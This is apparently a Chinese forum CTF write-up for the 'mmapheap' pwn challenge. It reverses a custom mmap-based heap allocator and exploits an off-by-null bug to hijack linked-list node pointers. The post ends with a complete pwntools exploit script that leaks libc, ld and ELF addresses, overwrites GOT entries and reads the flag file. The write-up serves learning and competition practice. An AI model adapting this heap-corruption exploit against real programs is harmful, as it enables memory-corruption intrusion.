好友
阅读权限 10
听众
最后登录 1970-1-1
0x0 前言
现在的新生赛可以说是越来越卷了,难的题已经能和国际比赛的低档题相当了。西电的新生赛虽然简单题不少,但是也有很多有价值的题。mmapheap这道题的预期解我也没看懂,出题思路是某个比赛的一道难题,旨在用ld作为攻击手段。但ld利用算是比较冷门的攻击方式,大多数题目不给ld,ld也不是唯一的解法(除非出题人精心设计),只有在各种house中有实际运用。本文用的解法不需要任何关于ld的利用(需要通过ld泄漏elf地址,不然没法做,但跟ld也没什么关系),后面等我能熟练利用ld的时候再补上ld的做法。
0x1 逆向分析
出题人自己编写了一个libc,用于实现内存分配和释放。
二进制文件保留了符号表,基本不用逆向也能看懂逻辑,只有结构体需要逆向。
[C] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
struct
Paper
{
_BYTE *buf;
__int64
size;
};
struct
Chunk
{
__int64
size;
Chunk *next;
_BYTE content[];
};
struct
Node
{
Chunk *chead;
__int64
cnt;
void
*start;
void
*end;
Node *next;
Node *pre;
};
libmylib的实现没啥漏洞(只不过没像glibc检查这么严格),先分析vuln的逻辑
add、edit、delete、show分别实现了增删改查,但是增和改的时候以下代码存在漏洞:
[C] 纯文本查看 复制代码
1
buf[(
int
)read(0, buf, size)] = 0;
如果读入的大小和buf的大小一致,会导致1byte的溢出,也就是off by null。
load函数的逻辑是如果要读取的文件名包含flag就把fake_flag读入。这里我试过不能通过反斜杠绕过,毕竟这是道pwn题。
然后分析libmylib的逻辑。大多数函数只是和glibc功能一样的简易实现。这里主要分析堆的分配和释放。
堆分配:用mmap来向系统申请空间,每次申请0x10000,所有申请的空间通过双链表链接,新申请的空间插入到双链表的尾部。申请的空间会分割成一个一个chunk,在每次申请小的空间的时候才分割,每个chunk有一个0x10大小的头(见struct Chunk),size域最低位用于记录Chunk是否使用中,next指向下一个空闲的Chunk。
0x2 思路
菜单交互代码如下:
[Python] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from
pwncli
import
*
elf
=
ELF(
"./vuln"
)
io
=
gift.io
=
remote(
'127.0.0.1'
,
34671
)
libc
=
ELF(
"./libmylib.so"
)
context(log_level
=
"debug"
, arch
=
elf.arch, terminal
=
[
"tmux"
,
"sp"
,
"-h"
])
def
add(idx, size, data
=
b
"a"
):
sa(b
"option:"
, b
"1"
)
sa(b
"idx:"
,
str
(idx).encode())
sa(b
"size:"
,
str
(size).encode())
sa(b
"data:"
, data)
def
edit(idx, data):
sa(b
"option:"
, b
"2"
)
sa(b
"idx"
,
str
(idx).encode())
sa(b
"data:"
, data)
def
free(idx):
sa(b
"option:"
, b
"3"
)
sa(b
"idx:"
,
str
(idx).encode())
def
show(idx):
sa(b
"option:"
, b
"4"
)
sa(b
"idx: "
,
str
(idx).encode())
def
load(idx, filename):
sa(b
"option:"
, b
"5"
)
sa(b
"idx: "
,
str
(idx).encode())
sa(b
"filename:"
, filename)
off by null只能溢出一字节的0,要么溢出到Chunk要么溢出到Node。但是和glibc不一样,这里溢出到Chunk的size域作用不大,很难造成堆重叠。但是溢出到Node的话可以让Node的chead指向chead,那么其size大小跟chead地址就一致了,由于size很大,基本可以造成任意地址写。泄漏地址有点麻烦,需要将地址作为size写入一个可以访问到的Chunk里。但如果能控制Node的话就不难,因为可以通过改变chead指针所指向的地址将任意地址写入任意位置。
注意,远程有输入缓冲区大小限制,如果输入过大服务器连接会断开。所以不能写出类似add(1,0xffc0,b'0'*0xffc0)这样的代码,需要布局堆结构来造成堆溢出。以下是能溢出到下一个node的示例代码:
[Python] 纯文本查看 复制代码
1
2
3
4
5
add(
0
,
0x40
)
add(
1
,
0xff80
)
free(
0
)
add(
0
,
0x40
)
add(
2
,
0x30
, b
"a"
*
0x30
)
elf地址可通过vmmap中查看,然后通过search -p <elf_base>来查找该地址在ld中的位置。
下面提供的exp非唯一解法,偏移通过调试来计算,期间我调试了很多遍,很多地方由于各种原因(如泄漏elf地址的时候破坏了ld、got表破坏了要修复等)需要通过调试来解决,请读者自行对每一步操作做调试。
0x3 exp
[Python] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
from
pwncli
import
*
elf
=
ELF(
"./vuln"
)
io
=
gift.io
=
elf.process()
libc
=
ELF(
"./libmylib.so"
)
context(log_level
=
"debug"
, arch
=
elf.arch, terminal
=
[
"tmux"
,
"sp"
,
"-h"
])
def
add(idx, size, data
=
b
"a"
):
sa(b
"option:"
, b
"1"
)
sa(b
"idx:"
,
str
(idx).encode())
sa(b
"size:"
,
str
(size).encode())
sa(b
"data:"
, data)
def
edit(idx, data):
sa(b
"option:"
, b
"2"
)
sa(b
"idx"
,
str
(idx).encode())
sa(b
"data:"
, data)
def
free(idx):
sa(b
"option:"
, b
"3"
)
sa(b
"idx:"
,
str
(idx).encode())
def
show(idx):
sa(b
"option:"
, b
"4"
)
sa(b
"idx: "
,
str
(idx).encode())
def
load(idx, filename):
sa(b
"option:"
, b
"5"
)
sa(b
"idx: "
,
str
(idx).encode())
sa(b
"filename:"
, filename)
add(
5
,
0xffc0
)
add(
0
,
0x40
)
add(
1
,
0xff80
)
load(
0
, b
"./flag\n"
)
free(
0
)
add(
0
,
0x40
)
add(
2
,
0x30
, b
"a"
*
0x30
)
add(
3
,
0x30
)
show(
0
)
libc.address
=
u64_ex(r(
6
))
+
0x20040
ld_base
=
libc.address
+
0x7000
success(f
"{libc.address = :x}"
)
success(f
"{ld_base = :x}"
)
elf_ptr
=
ld_base
+
0x392e0
print
(f
"{elf_ptr = :x}"
)
add(
9
,
0xffa0
)
add(
10
,
0x50380
, p64(ld_base
+
0x39380
))
add(
11
,
0x10
)
edit(
10
, p64(elf_ptr))
add(
12
,
0xa0
)
show(
11
)
elf.address
=
u64_ex(r(
6
))
+
0xb0
success(f
"{elf.address = :x}"
)
edit(
10
, p64(elf.got.init_libmylib))
payload
=
fit(libc.sym.read, libc.sym.memset, libc.sym.r_open, libc.sym.r_open)
add(
13
,
0x30
, payload)
edit(
10
, p64(libc.address
-
0x1ff80
))
add(
14
,
0x30
)
load(
14
, b
"./flag\n"
)
show(
14
)
ia()
免费评分
查看全部评分